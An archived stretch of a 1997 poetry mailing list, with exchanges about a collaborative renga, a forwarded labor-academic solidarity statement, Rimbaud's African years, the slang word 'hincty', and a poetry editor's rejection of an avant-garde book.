> *morning late-summer: this cricket knows the music*
>
> *hairy as thistle and as elevated*
>
> *thermal etude beside a bamboo cage*
>
> *its silences appear in careful measure*
>
> *cambric dozens unswathed enfin*
>
> *once there was a parade -- the long years roll*
>
> *Just my season's ticket at the Metradome*
>
> *<astroturf growing inspooled and drifty*

powered by retrarockets on both sides

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

516. mark weiss
(no subject)
Mon 25 Aug 1997

"Everyone makes jokes about macaroni, because it is a hole with some- thing around it, or about canons. [sic] The fact that we laugh doesn't change the situation, however; the fashioning of the signifier and the introduction of a gap or a hole in the real is identical." (Lacan, VII)

Boy, does this ever make me feel like I'm outside the loop! I don't think I know anybody who makes jokes about macaroni, not even in France. Maybe I don't hang out with the right psychoanalysts.

Note, however, that Monsieur Lacan has to explain what's funny about macaroni, but not what's funny about cannon. Perhaps in his world a cigar is a cigar but it's never just a cigar.

↑ Index

517. Christopher Alexander
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

oops, David—I accidentally hit the send button
before I cld say anything. well, that last line is
mine, anyway:

"efficiency-promoting measured were maken"

thanks, Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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518. Christopher Alexander
(Fwd) build labor-academic alliance
Mon 25 Aug 1997

---

this just came to me on the Bad Subjects list, & I thought I'd bring it over in case no one else has. I'm going to try to get more information, but I'd appreciate anything you folks (Mark? Joe? anyone?) cld bring forward, too.

Chris

------- Forwarded Message Follows -------

For those interested in building alliances between labor and the academy:

From: Dan Clawson ([redacted])
To: anyone interested in labor
Re: signing a statement, joining a group

The revival of the American labor movement, and its openness to a variety of initiatives that would have been inconceivable a few years ago, is the most promising political initiative of recent years. A new group is forming to build links between academics and the labor movement. John Sweeney, Linda Chavez Thompson, and the New Voice leadership have explicitly encouraged this development. They hope that we can work to alter the debates taking place in public policy and on the cultural front, in our teaching and in every public forum, just as they are working to change realities in trade unions. Together we can be part of a broader labor movement that includes both these areas and much more.

I realize it is ludicrously short notice, but an ad and press conference are planned announcing the formation of this group. In order to get your name on the ad, you need to send your name and affiliation to

[redacted] (that's a #1, not a letter L)

by Tuesday August 26. If you don't make that date, you can still join the group; see the address in the enclosed memo.

If you'd prefer, you could send your name and affiliation to me, Dan Clawson, ([redacted]) and I will pass it on.

Together we can build a movement for social change. You can begin by passing this message on to everyone you can think of who would want to sign.

Dan Clawson

Labor Day, 1997

For two decades, Labor Day has been an occasion for eulogies and epitaphs, as the labor movement suffered deindustrialization, downsizing and defeat. But Labor Day 1997 arrives with a new militance and a new hope. The victory of the Teamsters in the two-week UPS strike -- the largest strike in a generation -- was a victory for all working people, whose incomes and livelihoods have stagnated for nearly a quarter of a century. The UPS strike was also a turning point for the labor movement, and could determine its strength and direction for years to come.

Though the right to organize has eroded in a world of contingent work -- part-time, temporary, outsourced, and subcontracted -- organizing campaigns across the continent are now rebuilding the labor movement in old and new workplaces: from Borders bookstores to Las Vegas casinos, from the strawberry fields of Watsonville to the classrooms of Berkeley and Yale, from Federal Express to Nike sweatshops.

We take this moment of struggle to announce the formation of a new independent, national organization: "Scholars, Artists, and Writers for Social Justice." In the academy and publishing, in the arts, sciences and entertainment, we also experience the growth of low-wage, part-time employment which erodes our craft and creativity. We call upon our colleagues and friends this Labor Day to declare their solidarity with the organizing drives of the new labor movement. The time is ripe to restore the mutually empowering relationship that once gave hope and dynamism to the labor movement and its allies in the academic and cultural communities.

We envision a movement that can reshape the nation's political culture by combating inequality and powerlessness, and by fostering the growth of a vibrant, militant, multicultural working-class movement. In an era when elite opinion makes a fetish of the free market, unions -- with a commitment to solidarity, equality, and collective struggle -- remain fundamental institutions of a democratic society. Our confidence in launching SAWSJ comes from the success of the "labor teach-in" movement, inaugurated last fall when more than 2,000 people affirmed a new alliance of labor and academe at Columbia University. In more than a score of other teach-ins from coast to coast, students, teachers, writers, artists, and unionists met, talked, learned, and argued in an atmosphere of hope and solidarity. SAWSJ hopes to fulfill the promise of those teach-ins.

> Add your name to this public statement which will be
> released on September 1. You may do so by e-mailing Thaddeus
> Russell at [redacted]. Please note that the address
> contains the numeral one after "tnr." Please include your affiliation.

>
> At the same time you may also join Scholars, Artists,
> and Writers for Social Justice, which is planning a
> series of teach-ins and other events over the next several months.
> Please send a contribution to Ellen Schrecker, 771 West End
> Avenue #7D, New York, New York, 10025.
>
> Alewitz, Mike
> Aronowitz, Stanley
> Aronson, Ronald
> Azcarate, Fred
> Ballinger, Lee
> Benjamin, Ernst
> Bennett, Marty
> Bernard, Elaine
> Bonilla, Frank
> Buhle, Paul
> Carter, Prudence
> Chancer, Lynn
> Clawson, Dan
> Cutler, Jonathan
> Delgado, Hector
> Denning, Michael
> DiFazio, Bill
> Domingo, Ligaya
> Dubro, Alec
> Fennell, Dorothy
> Fletcher, Bill
> Fraser, Steven
> Freeman, Joshua B.
> Gerstle, Gary
> Gray, Lois
> Green, Adam
> Green, Venus
> Hall, Jacquelyn
> Horne, Gerald
> Huck, Gary
> Kaye, Harvey
> Kazin, Michael
> Kelley, Robin D.G.
> Kornbluh, Felicia
> Krupat, Kitty

> Levi, Margaret
> Lichtenstein, Nelson N.
> Lie, John
> Marquez, Dennis Bixler
> Mendel-Reyes, Meta
> Montgomery, David
> Murolo, Priscilla
> Nathan, Debbie
> Newman, Kathy
> Ngai, Mae
> Piven, Frances Fox
> Porter, Allison
> Potter, Sarah
> Pranis, Kevin
> Prisock, Louis
> Ripton, Jessica
> Robinson, Dean
> Rosen, Sumner M
> Royster, Dee
> Russell, Thad
> Ryan, Sarah
> Schrecker, Ellen W.
> Semann, Ingrid
> Simmons, Esmeralda
> Singh, Nikhil
> Skotnes, Andor
> Slaughter, Jane
> Stephens, Michelle
> Sugrue, Tom
> Uehlein, Joe
> Venkatesh, Sudhir
> Watts, Jerry
> Willis, Ellen
> Woodard, Komozi
> Young, Cynthia
>
>

--
Dan Clawson
work = [redacted] home [redacted]

Contemp. Sociology = [redacted] fax [redacted]
email = [redacted] [redacted]

"If they can get you to ask the wrong
questions, they don't have to worry
about the answers."
--Thomas Pynchon

Kelley Greenman Crouse
Sociology Department
Syracuse University
Maxwell School of
Citizenship and Public Affairs
Syracuse, NY 13244

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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519. Red Slider
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

---

dodie wrote:

I've been out of town, and *most* of you on the list will understand my dismay at turning on the e-mail and out of 7 messages 3 were this renga thread. I thought it was agreed upon ages ago that so many listmembers found these rengas problematic in terms of wasted bandwidth and a waste of the 50-message limit that it was agreed that they would be taken backchannel.

And I know some of the perpetrators of this thing were involved in the original tedium.

Dodie

'Perpetrators' - ooops, now I'm in for it, an' i just thought it was little misdemeanor drive-by. Ok, Ok, I'll confess, the first line was mine (but actually stolen by george for having perturbations in the 'o' range), so if ignorance is no excuse then it's a compound felony and hard time for sure (probably on the macaroni line) and, as for bandwidth, jeez will ya look at my waste lines, I also confess that I tried to slip in two lines at once - no one believing that the macaroni just

stuck together. So it looks like a three-strikes case for sure - please send replies care of Misalligned Noodles Dept., Culinary & Toga Mfgs. Division, Folsom State Prison. All mail to this addressee will be opened and searched - The Warden.

Tedium? you want tedium? do you know how many macaronis it takes to reach the other side of the Golden Gate Bridge? (not to mention the one's i've got to tie together to get down to the street from my cell-block).

red. #4|0|8|5|2|8|1|6|1|8|7|

↑ Index

520. **Maria Damon**
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

---

busted! i think the originators of this one didn't know abuot the previious one. i just joined in cuz i thot theme-specific memorial type rengas wd be self-contained. but i'm happy to go back-c.

At 9:45 AM -0700 8/25/97, [redacted] wrote:
>I've been out of town, and *most* of you on the list will understand my
>dismay at turning on the e-mail and out of 7 messages 3 were this renga
>thread. I thought it was agreed upon ages ago that so many listmembers
>found these rengas problematic in terms of wasted bandwidth and a waste of
>the 50-message limit that it was agreed that they would be taken
>backchannel.
>
>And I know some of the perpetrators of this thing were involved in the
>original tedium.
>
>Dodie

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521. **George Bowering**
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

I agree entirely with Dodie. Drop this wasteful renga stuff. It gets horribly out of hand.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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522. **Jordan Davis**
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

Dodie --

<ir>Thanks for making the list safe for hot dogs and macaroni </ir>

actually, John Tranter, now that I've used the irony tags, I gotta say they feel about as heavy as Chevy Chase-type air-scare quotes. Ugh City. It's probably me -- somebody else could make them feel like Jack Nicholson's pitch-based prosody, <ir>I'm sure</ir>.

Viva la Renga,
Jordan, who when in Maine avoids all hot dogs, both red and brown

↑ Index

523. **John Tranter**
Rimbaud in Africa
Mon 25 Aug 1997

In a recent posting Tom Orange said:
re the silence thread, john tranter offhands:

"Dave, Kim ... how about some postings to the EPC list that have ... that have no sender, no subject,and NO MESSAGE !! Is this maybe too much silence to ask? It would be like Rimbaud in Harar ... nothing to say!"

reminding me to ask y'all if anyone has read or heard anything about charles nicholl's /somebody else: arthur rimbaud in africa 1880-91/ (london: cape, 1997).

thanks,
t.

Tom: I've just finished the book. It's very good -- Nicholl is extremely knowledgable on Rimbaud, is a good writer, and has tramped all over Africa looking for the Ghost of Arthur.

It's a wretched story, of course. There's Arthur, tramping about, working himself to the bone, scraping and saving, getting ill and recovering, cursing the natives and the other traders, feverishly making

plans for the future, and all the time we know it's all for nothing --
we can see the cancer coming like a dust-storm on the horizon.
Heartbreaking.
But a very good book.
--
John Tranter e-mail -- [redacted]
Jacket magazine -- http://www.jacket.zip.com.au
39 Short Street, Balmain NSW 2041, Australia
ph ([redacted] fax ([redacted]

↑ Index

524. Tom Orange
Rimbaud in Africa
Tue 26 Aug 1997

---

john t., thanks for the good word on nicholl's rimbaud book. certainly a sad story -- after all those years of wheelin and dealin he died with what the equivalent of a couple hundred bucks in his pocket. yet the disdain is quite captivating, effectively, all writing is pigshit, a good 40-50 yrs before artaud, let les jeunes poetes maudites discover anew the writings of the "recently deceased" rimbaud, and me not even dead yet, merdre!, all i wanna do is be a gunrunner...

t.

↑ Index

525. David Bromige
rimbaud in oz
Tue 26 Aug 1997

---

what is little known about rimbaud is that he visited australia with his young bride, directly from ethiopia by packet steamer. The Rimbauds were fairly flush at the time, and stayed in what was, for that era in Oz, a luxury hotel. On their first day, they hired a coach & four to go drive-about. Unfortunately, one of the first things they saw in the outback was a man having intercourse with a kangaroo. Rimbaud attempted to distract his wife from the sordid spectacle by pointing in the opposite direction and crying, "Look at that, my precious!" They both looked, only to see another man with another kangaroo. Disgusted, Rimbaud ordered the driver to head back to the hotel. There, to top the unhappy morning off, they found a man with a wooden leg masturbating on the hotel steps. Outraged, and with his notorious temper fully aroused, Rimbaud demanded to see the manager. "I have come a long way at considerable expense to stay in your hotel, and what do I and my poor wife find? Two men having intercourse with

two seperate kangaroos, and a man with a wooden leg masturbating on the very steps of this hotel?!"

The manager's reply has been recorded: "But Monsieur Rimbaud, you dont expect a man with a wooden leg to catch his own kangaroo?"

The Rimbauds wanted to quit the establishment immediately, but there was nowhere else to go. They were stuck. Rimbaud had put the manager of the hotel in a foul mood, and that evening, he ordered all the chess players who frequented his lounge, to pack up their boards and leave. This they did, grudgingly, but one Among them remonstrated withg the manager, demanding to know his reason for such rudeness. This reply, too, has been recorded: "I cant stand chess nuts boasting in an open foyer."

For these and other anecdotes of Rimbaud in Oz I found the text under discussion well worth borrowing from my college library. David

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526. Red Slider

Re: space(s) of silence

Tue 26 Aug 1997

: Re: space(s) of silence

s e e

an oral-aural companion to David's silence modulo above might be:

---------- n p o

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527. Ryan Whyte

Cockpit

Tue 26 Aug 1997

Broken fugue poem with pictures at

http://www.freenet.edmonton.ab.ca/~rwhyte/coc.html

Thank you -

Ryan

==========

[redacted]

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528. charles alexander
Re: Cockpit
Tue 26 Aug 1997

> Broken fugue poem with pictures at
>
> http://www.freenet.edmonton.ab.ca/~rwhyte/coc.html
>
Very nice, Ryan -- great to see some of the possibilities of poetry
as web art.

charles

charles alexander
poet and book artist
[redacted]

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529. Joe Amato/Kass Fleisher
Re: (Fwd) build labor-academic alliance
Tue 26 Aug 1997

chris and others, don't know anymore about "scholars, artists, and writers for social justice" than in that post... but the idea appeals to me mightily, and i up and asked for my name to be added to the public statement, and will be writing to the snail mail address in nyc, see if there's more info available... i have every intention of joining the organization...

thanx for forwarding that!...

best,

joe

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530. Pierre Joris
Re: Renga for Nancarrow (cont'd)
Tue 26 Aug 1997

[redacted] wrote:

> *I've been out of town, and *most* of you on the list will understand my*
> *dismay at turning on the e-mail and out of 7 messages 3 were this renga*
> *thread. I thought it was agreed upon ages ago that so many listmembers*

> *found these rengas problematic in terms of wasted bandwidth and a waste of*
> *the 50-message limit that it was agreed that they would be taken backchannel.*
>
> *And I know some of the perpetrators of this thing were involved in the*
>
> *original tedium.*
>
> *Dodie*

yes, yes,

Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I have never been able to tell a beginning
from an end." — Georges Braque
==========

↑ Index

531. **Rachel Levitsky**
Re: GAS NUMBER 9
Tue 26 Aug 2008

Thanks for the announcement.

What is the address for GAS NUMBER 9?

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532. **Gwyn McVay**
(diffidently) chapbook
Tue 26 Aug 1997

Since I accidentally blurted it out to the whole list, and later got several backchannel replies expressing interest, I'm reposting the URL of the embryonic version of my second chapbook, which is forthcoming from Pecan Grove Press, a small and underacknowledged press in Texas which devotes itself exclusively--I think--to poetry of various different stripes. The prepublication version of the text is at:

http://pgpress.stmarytx.edu/pecangrove/author/natural.html

If anyone is undyingly curious about the cover, which I'm rather fond of, it's at

http://pgpress.stmarytx.edu/pecangrove/author/gwyn3.gif

Thanks to all who were curious--& pardon this blatant flogging--

bests
Gwyn

↑ Index

533. **William Marsh**
help:writing experiments
Tue 26 Aug 1997

Poetics folks:

would someone be able to backchannel me with info re Bernadette Mayer's famous list of writing experiments, ie, where i can find it, most quickly / perhaps on the web somewhere?

thanks

bill marsh

↑ Index

534. **Jordan Davis**
hincty
Tue 26 Aug 1997

Anybody know of any uses of the word 'hincty'? I'm certain I've heard it around a lot lately, but when I go looking, it's nowhere to be found.

I have no idea what it means.

Thanks,
Jordan

↑ Index

535. **Jordan Davis**
Re: hincty
Tue 26 Aug 1997

Thanks to everybody who backchanneled -- it's a Cab Calloway word.

> Hincty (adj.) -- conceited, snooty.

and it's related to another word he used --

Dicty (adj.) -- high-class, nifty, smart.

OK! another mystery sunk --
J

On Tue, 26 Aug 1997, Jordan Davis wrote:

> *Anybody know of any uses of the word 'hincty'? I'm certain I've heard it around a lot lately, but when I go looking, it's nowhere to be found.*
>
> *I have no idea what it means.*
>
> *Thanks,*
> *Jordan*

↑ Index

536. **simon**
Re: hincty
Tue 26 Aug 1997

Dictionary of American Regional English, Vol. II, I think.

beth

↑ Index

537. **Red Slider**
Problem in silence
Tue 26 Aug 1997

I've a problem in silence representation. In a dramatic narrative, meant to be read aloud (perhaps for radio performance as well), I've need for a gap both thematically and visually to separate the scene of Coleridge's 'rotten sea' from a new vista of turbulence at the "dragon's edge."

Presently I'm using an ellipsis not entirely to my satisfication. The fragment I'm working with (backed-up enough to display the discontinuity is:

The silence in her hold as thick as blood, her only cargo grim remembrance of the day the brood of flags hung still, breathless as she pulled against a shudder-less heave of rotten death across watery waste, sighted once before by he who murdered the albatross. Lost! Lost! as we carry out the heart's knell hand over hand, each breath a bolide in a birdless sky, and wait... till the bell-pull sounds on an empty deck and the bitter end slacks against the kedge, as darkness falls and the gale winds rise and the great seas shudder at the dragon's edge.

(an in-progress and imperfect version of the entire work can be seen at http://sacramento-news.com/poets/redpoem.htm)

The problems are:

the break is between a scene, itself typed in silence (the becalmed sea), and the resumption of contrasting material; and, also serves as a performance instruction for an indefinite pause by the reader.

The work is antiqued (broken iambic, rhyme - at times dense, 17th c. nautical terms, etc.), with some deliberate 'moderns' (the ship has engines/iron-plate, the reader is directly engaged at points, etc.). But the silence representations I've encountered (say in the ( ) thread) seem to stark for the piece, too swedish-modern. Appreciate any ideas.

red slider

↑ Index

538. **STACIE**
Re: hincty
Tue 26 Aug 1997

Just curious- where (as in, in what song) does Calloway use "Hincty"-- what a great word!

Stacie

↑ Index

539. **Tenney Nathanson**
Re: hincty
Tue 26 Aug 1997

Jordan--

it also turns up in Harryette Mullen's /Muse & Drudge/, as part of the phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it, mentions Clarence Major's dictionary of African American slang, From Juba to Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.

best,

Tenney

At 01:27 PM 8/26/97 -0400, you wrote:
>Thanks to everybody who backchanneled -- it's a Cab Calloway word.
>
> Hincty (adj.) -- conceited, snooty.
>
>and it's related to another word he used --
>

> Dicty (adj.) -- high-class, nifty, smart.
>
>OK! another mystery sunk --
>J
>
>On Tue, 26 Aug 1997, Jordan Davis wrote:
>
>> Anybody know of any uses of the word 'hincty'? I'm certain I've heard it
>> around a lot lately, but when I go looking, it's nowhere to be found.
>>
>> I have no idea what it means.
>>
>> Thanks,
>> Jordan
>>
>
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

540. Judy Roitman
Re: help:writing experiments
Tue 26 Aug 1997

> *Poetics folks:*
>
> *would someone be able to backchannel me with info re Bernadette Mayer's famous list of writing experiments, ie, where i can find it, most quickly / perhaps on the web somewhere?*
>
> *thanks*
>
> *bill marsh*

Why backchannel? Please send it to the list.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]

| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

541. Hoa Nguyen
A SAMPLE OF GAS #9
Tue 26 Aug 1997

Here's the address with

a sample from the journal!

R. Levitsky wrote:
>
>Thanks for the announcement.
>
>What is the address for GAS NUMBER 9?

You can get your GAS from Kevin Opstedal
386 Madeline Court
Palo Alto CA 94306

a snippet of a teaser from #9

From "The Waist Line" by Dale Smith (part of section III. The Late Brunch)

***
A mismosa for the Mrs.
  O the hunger cloaked her
    and with her, her daughter
      begged a soda water

gulp gulp gulp
jug jug jug jug jug
so rudely forc'd.
Burp.

Unreal table
under the brown cloth of cold noon
Mr. Kultur, the suburban merchant
    offered a pocket full of candy
  asked me to luncheon at Michaelangelo's
followed by a drink at the Drake.
At the pancake hour, when the eyes

turn upward from the table, the human belly waits
like a mob sobbing waiting.
I Karen carpenter adrift in the after-life
thin woman, emaciate, can see
the pancake hour, the undefined brunch hour that gives
home to you and brings the cooks to the kitchen.

(more delicious parody follows)

Thanks for letting me share this.-- Hoa

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

542. Thomas Bell

Re: Cockpit

Tue 26 Aug 1997

Yes, very nice "new beginning", Ryan. I have been working with the interaction of my drawings
and poems and body (examples in my underconstruction page
http://www.public.usit.net/trbell and
also on wr-eye-tings) that you might like to visit.
tome bell

At 02:01 AM 8/26/97 -0600, Ryan Whyte wrote:
>Broken fugue poem with pictures at
>
>http://www.freenet.edmonton.ab.ca/~rwhyte/coc.html
>
>
>Thank you -
>
>Ryan
>
>==========
>[redacted]
>
>

↑ Index

543. **Bob Grumman**
Re: help:writing experiments
Tue 26 Aug 1997

Dear Bill, and anyone else interested:

In my 1984 edition of The L=A=N=G=U=A=G=E Book, Bernadette Mayer's "Experiments" starts on page 80. It's one of my favorite pieces in the book.

--Bob G

↑ Index

544. **Steven Marks**
Re: Problem in silence
Tue 26 Aug 1997

On Tue, 26 Aug 1997, Red Slider wrote:

> I've a problem in silence representation. In a dramatic narrative, meant to
> be read aloud (perhaps for radio performance as well), I've need for a gap
> both thematically and visually to separate the scene of Coleridge's 'rotten
> sea' from a new vista of turbulence at the "dragon's edge."
>
> the albatross. Lost! Lost! as we carry out the heart's knell
> hand over hand, each breath a bolide in a birdless sky, and wait...
> till the bell-pull sounds on an empty deck and the bitter end slacks
> and the great seas shudder at the dragon's edge.
>

Here's my suggestion. If you are performing this on a stage, wait four or five beats after the word, "wait," and then have an on-stage bell begin ringing, activated by somebody offstage. The audience would see the bell moving and hear the sounds, but see nobody doing the actual ringing. Now, I know this isn't silence if by that we mean the lack of sound. But, I think the tolling of a bell, especially if it seems to be ringing of its own accord, will create the feeling of emptiness that the lines speak of.

If you are doing this as a radio performance, I'd still suggest the bell perhaps with fade-ins and -outs. Of course, there's no way that I can think of to show the bell ringing by itself on the radio.

In both cases, you might also want to experiment with the length of the ringing, its volume, whether you read the next line over the ringing or wait a few more beats after the ringing. You might even want to experiment with how far you can push the audience with the ringing -- monotony being a type of silence.

for what it's worth,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

545. **Rachel Levitsky**
Re: lorenzo thomas?
Wed 27 Aug 2008

Hi Lisa--

Did you get Lorenzo's number? I'll ask Max Regan tomorrow.

I put out the word for readers and four people are interested in April. So then I got this idea about a festival.

Something like "Against the World as We Know It Festival: Poetry and Politics for the Next Millenium." And work with local poets and political groups to house visiting poets and organizers and have a bandshell and a band and a picnic and you know, I think it could be a lot of fun.

Would that interest you?

yours,

Rachel

↑ Index

546. **Michael Magee**
Re: hincty
Wed 27 Aug 1997

The definition's right but it's also worth noting that hincty is a sort of hald-anagram of "head nigger in charge." -Mike.

According to Tenney Nathanson:
>
> Jordan--
>
> it also turns up in Harryette Mullen's /Muse & Drudge/, as part of the
> phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it,
> mentions Clarence Major's dictionary of African American slang, From Juba to

> Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.
>
> best,
>
> Tenney
>
> At 01:27 PM 8/26/97 -0400, you wrote:
> >Thanks to everybody who backchanneled -- it's a Cab Calloway word.
> >
> > Hincty (adj.) -- conceited, snooty.
> >
> >and it's related to another word he used --
> >
> > Dicty (adj.) -- high-class, nifty, smart.
> >
> >OK! another mystery sunk --
> >J
> >
> >On Tue, 26 Aug 1997, Jordan Davis wrote:
> >
> >> Anybody know of any uses of the word 'hincty'? I'm certain I've heard it
> >> around a lot lately, but when I go looking, it's nowhere to be found.
> >>
> >> I have no idea what it means.
> >>
> >> Thanks,
> >> Jordan
> >>
> >
> >
>
> ---
>
> tenney nathanson
>
> [redacted]
> [redacted]
>
> http://www.u.arizona.edu/~nathanso/
>

↑ Index

547. **Douglas**
Chris Felver
Wed 27 Aug 1997

Does anyone have an address or telephone
number for the photographer Chris Felver.

If so, please back channel it to me at
[redacted]

I truly appreciate it.

Douglas Messerli
Sun & Moon Press

↑ Index

548. **adalaide morris**
Re: hincty
Wed 27 Aug 1997

Tenney--

Can you give a fuller reference for BOO? Also, does anyone know if Mullen has published a lecture Aldon Nielsen refers to in *Black Chant* called "Visionary Literacy: Art, Literature and Indigenous African Writing Systems," first given at Intersection for the Arts in SF May 24, 1993? I'd like to find out more about the argument she makes there.

Thanks very much--

Dee Morris

> *Jordan--*
>
> *it also turns up in Harryette Mullen's /Muse & Drudge/, as part of the phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it, mentions Clarence Major's dictionary of African American slang, From Juba to Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.*
>
> *best,*
>
> *Tenney*

↑ Index

549. **Ira Lightman**
Re: Renga for Nancarrow (cont'd)
Wed 27 Aug 1997

Moreover, the renga didn't seem to be about Nancarrow, four:four is the dullest time signature, for:for is for oneself, is this a way to honour the dead, would a renga have sprung up for Burroughs' death so equivalently not about Burroughs?

On Mon, 25 Aug 1997 17:06:46 -0500 Jordan Davis wrote:

> From: Jordan Davis <[redacted]>
> Date: Mon, 25 Aug 1997 17:06:46 -0500
> Subject: Re: Renga for Nancarrow (cont'd)
> To: [redacted]
>
> Dodie --
>
> <ir>Thanks for making the list safe for hot dogs and macaroni </ir>
>
> actually, John Tranter, now that I've used the irony tags, I gotta say they
> feel about as heavy as Chevy Chase-type air-scare quotes. Ugh City. It's
> probably me -- somebody else could make them feel like Jack Nicholson's
> pitch-based prosody, <ir>I'm sure</ir>.
>
> Viva la Renga,
> Jordan, who when in Maine avoids all hot dogs, both red and brown

↑ Index

550. **mark weiss**
Avant-garde and border patrols
Wed 27 Aug 1997

Those of you who weren't sure what kind of divisions there are in the poetry world when the question of an avant-garde came up recently may find the following interesting. I just spoke with the editorial office at _Booklist_, the journal of the American Library Association. I had submitted Rochelle Owens' _New and Selected Poems_ to them for review. As the excellent review in Publishers'

Weekly had just come out I was curious as to whether _Booklist_ intended to review it. Like it or not, a good review in _Booklist_ is worth 200-300 sales to libraries. I was informed that their poetry editor had rejected it because, in the words of an internal memo, it "represents the kind of poetry that convinces people that poetry is too difficult to read." I think I offended the guy on the other end of the line when I volunteered that they should maybe find a less naive poetry editor. The book came to them with extensive praise from, among others, Karl Young, Marjorie Perloff and Jerry Rothenberg, but that didn't get it past the gate-keeper.

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551. **Pritchett,Pat**

Re: Avant-garde and border patrols

Wed 27 Aug 1997

Uh oh. Looks like it's time to send in the sapper squad. I propose that this elite unit be comprised of David Bromige (who will baffle editors with "cabbages and rhinoceroses"), Tom Mandel (who will lay down the Law) and Rachel Loden (who will overcome with great gentleness and failing that, slap recalcitrant gatekeepers silly). Hovering in the background will be the Spirit of Allen Ginsberg on harmonium, chanting "Woe to Bablyon, woe!" and radiating angelic poetry vibes of irresistible potency.

Patrick Pritchett

From: mark weiss
To: POETICS
Subject: Avant-garde and border patrols
Date: Wednesday, August 27, 1997 2:35PM

I had submitted Rochelle Owens' _New and Selected Poems_ to [Booklist] for review..... I was informed that their poetry editor had rejected it because, in the words of an internal memo, it "represents the kind of poetry that convinces people that poetry is too difficult to read." I think I offended the guy on the other end of the line when I volunteered that they should maybe find a less naive poetry editor.

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552. **Jordan Davis**

devolution

Wed 27 Aug 1997

What's with all this devolution, anyway?

Jordan

↑ Index

553. **Jordan Davis**
Re: devolution
Wed 27 Aug 1997

Thanks to everybody who backchannelled with the lowdown on devolution. Apparently, Brian Eno never received a cent from his work on Q: Are We Not Men?, and both Sri Lanka and Scotland have serious devolution efforts in the works.

You folks are dicty, not hincty,
J

At 5:59 PM -0500 8/27/97, Jordan Davis wrote:
>What's with all this devolution, anyway?
>
>Jordan

↑ Index

554. **adalaide morris**
Mullen references
Wed 27 Aug 1997

Tenney--

Can you give a fuller reference for Harryette Mullen's BOO? Also, does anyone know if Mullen published a lecture Aldon Nielsen refers to in *Black Chant* called "Visionary Literacy: Art, Literature and Indigenous African Writing Systems," first given at Intersection for the Arts in SF May 24, 1993? I'd like to find out more about the argument she makes there.

Thanks very much--

Dee Morris

> *Jordan--*
>
> *it[e.g. "hincty"] also turns up in Harryette Mullen's /Muse & Drudge/, as part of the*
> *phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it, mentions Clarence Major's dictionary of African American slang, From Juba to Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.*
>
> *best,*

> *Tenney*

↑ Index

555. **Tenney Nathanson**
Re: Mullen references
Wed 27 Aug 1997

Dee--

I'll try to scrounge up my Mullen file folder, but I'm not really sure where it is. There are two pieces, actually, both of which folks on this list originally brought to my attention. One is the BOO interview; then there's, I think, a short essay by her in POETIC BRIEFS.

best

Tenney

At 08:45 PM 8/27/97 -0500, you wrote:
>Tenney--
>
>Can you give a fuller reference for Harryette Mullen's BOO? Also, does
>anyone know if Mullen published a lecture Aldon Nielsen refers to in *Black
>Chant* called "Visionary Literacy: Art, Literature and Indigenous African
>Writing Systems," first given at Intersection for the Arts in SF May 24,
>1993? I'd like to find out more about the argument she makes there.
>
>Thanks very much--
>
> Dee Morris
>
>
>
>>Jordan--
>>
>>it[e.g. "hincty"] also turns up in Harryette Mullen's /Muse & Drudge/, as
>>part of the
>>phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it,
>>mentions Clarence Major's dictionary of African American slang, From Juba
to
>>Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.
>>
>>best,
>>

>>Tenney
>
>

---

tenney nathanson

http://www.u.arizona.edu/~nathanso/

↑ Index

556. **Thomas Bell**
Re: Mullen references
Thu 28 Aug 1997

This might be of more general interest, if postable, or could they be put on the EPC hotlist?. I think it is a hot topic.
tom bell

At 08:08 PM 8/27/97 -0700, Tenney Nathanson wrote:
>Dee--
>
>I'll try to scrounge up my Mullen file folder, but I'm not really sure where
>it is. There are two pieces, actually, both of which folks on this list
>originally brought to my attention. One is the BOO interview; then there's,
>I think, a short essay by her in POETIC BRIEFS.
>
>best
>
>Tenney
>
>At 08:45 PM 8/27/97 -0500, you wrote:
>>Tenney--
>>
>>Can you give a fuller reference for Harryette Mullen's BOO? Also, does
>>anyone know if Mullen published a lecture Aldon Nielsen refers to in *Black
>>Chant* called "Visionary Literacy: Art, Literature and Indigenous African
>>Writing Systems," first given at Intersection for the Arts in SF May 24,
>>1993? I'd like to find out more about the argument she makes there.
>>
>>Thanks very much--
>>

>> Dee Morris
>>
>>
>>
>>>Jordan--
>>>
>>>it[e.g. "hincty"] also turns up in Harryette Mullen's /Muse & Drudge/, as
>>>part of the
>>>phrase "hincty-jinkty." No idea what THAT means. Mullen, in BOO is it,
>>>mentions Clarence Major's dictionary of African American slang, From
Juba to
>>>Jive, as key source for her. Don't recall offhand the hincty-jinkty page #.
>>>
>>>best,
>>>
>>>Tenney
>>
>>
>
>----------
>
>tenney nathanson
>
>[redacted]
>[redacted]
>
